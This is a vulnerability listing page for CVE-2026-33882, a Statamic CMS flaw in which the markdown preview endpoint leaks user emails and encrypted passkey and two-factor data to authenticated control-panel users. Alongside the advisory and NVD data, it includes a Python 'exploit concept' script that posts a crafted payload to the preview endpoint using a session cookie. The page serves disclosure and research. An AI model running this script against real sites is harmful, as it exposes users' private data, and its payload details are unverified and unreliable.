CVE-2026-33882

Description

Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.16 and 6.7.2, the markdown preview endpoint could be manipulated to return augmented data from arbitrary fieldtypes. With the users fieldtype specifically, an authenticated control panel user could retrieve sensitive user data including email addresses, encrypted passkey data, and encrypted two-factor authentication codes. This has been fixed in 5.73.16 and 6.7.2.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* - VULNERABLE

Statamic CMS < 5.73.16

Statamic CMS < 6.7.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Concept for CVE-2026-33882
# Target: Statamic CMS < 5.73.16 / < 6.7.2
import requests

def exploit_statamic(target_url, session_cookie):
    headers = {
        "Cookie": f"statamic_session={session_cookie}",
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest"
    }
    
    # The endpoint responsible for previewing content
    endpoint = f"{target_url}/cp/preview"
    
    # Payload manipulating the fieldtype to 'user' to trigger data dump
    payload = {
        "preview": "text",
        "values": {
            "type": "user", # Manipulating the field type
            "value": "1"    # Targeting user ID
        },
        "handle": "email"
    }

    try:
        response = requests.post(endpoint, json=payload, headers=headers)
        if response.status_code == 200:
            print("[+] Request successful. Check response for leaked user data.")
            print(response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[!] An error occurred: {e}")

# Usage
# exploit_statamic("http://localhost", "valid_session_token_here")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33882
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33882
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33882/
[4] VulDB https://vuldb.com/cve/CVE-2026-33882
[5] https://github.com/statamic/cms/security/advisories/GHSA-cvh3-23vq-w7h4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33882", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:24.860", "lastModified": "2026-04-08T14:27:34.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.16 and 6.7.2, the markdown preview endpoint could be manipulated to return augmented data from arbitrary fieldtypes. With the users fieldtype specifically, an authenticated control panel user could retrieve sensitive user data including email addresses, encrypted passkey data, and encrypted two-factor authentication codes. This has been fixed in 5.73.16 and 6.7.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.73.16", "matchCriteriaId": "EACDC143-742E-4926-9C28-6095690EB549"}, {"vulnerable": true, "criteria": "cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.7.2", "matchCriteriaId": "631FF065-0872-4DC7-AB25-AB74B782A9BE"}]}]}], "references": [{"url": "https://github.com/statamic/cms/security/advisories/GHSA-cvh3-23vq-w7h4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}